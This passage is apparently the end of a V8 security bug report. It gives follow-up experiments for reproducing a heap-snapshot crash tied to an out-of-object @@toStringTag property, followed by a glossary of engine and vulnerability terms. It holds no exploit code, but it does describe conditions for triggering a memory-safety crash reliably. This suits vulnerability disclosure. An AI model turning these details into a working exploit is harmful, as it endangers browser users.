JSON.stringifycircular-structure path in a dcheck build with the same out-of-object double@@toStringTagshape. A positive result is the sameAllowHeapAllocation::IsAllowed()failure, which the report already demonstrates. - Vary the number of live objects and the property layout that pushes
@@toStringTagout-of-object, to see how reliably the release-build crash reproduces. A positive result is a reproducible SEGV inHeapObject::SizeFromMapduring snapshot generation.
Glossary
- V8: the JavaScript engine inside Chrome that reads and runs scripts.
- Heap: the area of memory where a program keeps its live objects.
- Heap snapshot: a recorded picture of every object alive in the heap at one moment.
- DevTools: the built-in developer tools in Chrome, including a memory profiler.
- Protocol: an agreed message format that tools use to talk to the browser's debugging interface.
- Constructor name: the name the engine works out for an object's type, used to label it.
@@toStringTag: a special built-in property key JavaScript uses to describe what kind of object something is.- Contract: a promise in code about how a function behaves, such as "do not allocate".
- Allocation: creating a new object in memory.
- No-allocation contract: a promise that a piece of code will not create new objects while it runs.
AllowAllocation::kNo: the argument that tells a lookup not to allocate.LookupIterator: the internal helper that walks an object's properties looking for one.- Fast properties: the normal, quickly accessed properties of a JavaScript object.
- Double: a floating-point number, one with a fractional part or too large for the small integer format.
- Boxing: wrapping a plain number in a full object so it can be stored as a reference.
HeapNumber: the wrapper object a double is boxed into.- In-object property: a property stored in the small fixed area inside the object itself.
- Out-of-object property: a property stored in a separate overflow area outside the object.
- Smi: a "small integer", a whole number small enough to be stored directly without a separate object.
- Pointer compression: a memory-saving technique where the engine stores shorter references.
JSReceiver: any JavaScript value that can receive properties, such as an object.- Raw pointer: a direct memory address, which the engine cannot update if the object moves.
- Stale pointer: a pointer to memory that has since been freed or moved.
- Garbage collection (GC): the engine's automatic memory cleanup.
- Moving GC: a garbage collector that relocates objects in memory as it tidies up.
- Compaction: a collection that moves objects together to reduce fragmentation.
- Scavenge: the collection of the young generation, the area for newly created objects.
- Young generation / semi-space: the small memory area where new objects start out.
- GC stress flags: debug switches that make garbage collection run far more often than normal.
- Use after free: using memory after it has been freed, so the program may read or write the wrong data.
- CVE: a public catalogue number given to a known vulnerability.
- Chrome VRP: Google's Vulnerability Reward Program, which pays for security bug reports.
- Bounty: the money paid for a valid report.
- Severity: a rating of how serious a vulnerability is.
- ASAN (AddressSanitizer): a tool that watches memory accesses and reports illegal ones.
- SEGV (segmentation fault): a crash caused by touching a memory address the program is not allowed to touch.
- Arbitrary read/write: the ability to read or change any memory the attacker chooses.
- Exploit primitive: a small, dependable building block an attacker could use to go further.
- Build: a compiled copy of a program made with particular settings.
- Release build: a build configured like the version shipped to users, with internal checks off.
- Debug build / dcheck: a build with internal assertions (debug checks) that catch broken promises.
- Revision: a specific saved version of the source code.
- Harness: a test program that drives a piece of software the way a real caller would.
- Ninja: the build tool that compiles source code into programs.
- PoC (proof of concept): a small script that demonstrates a bug.
- Call stack: the list of functions that were running when something happened, innermost first.
- Symbolising: turning raw memory addresses in a crash report into readable function names.
- Invariant: a condition that must always hold.
- Handle-safe: using managed references the engine can update when objects move, rather than raw addresses.
v8::Local/DirectHandle: managed references that stay correct even if the object moves.- API: an interface one piece of software offers to another.
JSON.stringify: a built-in JavaScript function that turns a value into text.- Circular structure: a value that refers to itself in a loop, which
JSON.stringifycannot convert directly. - Consumer: a piece of code that calls into another function.
- Audit: to review code systematically for problems.
- Upstream: the original project that a change would be made in.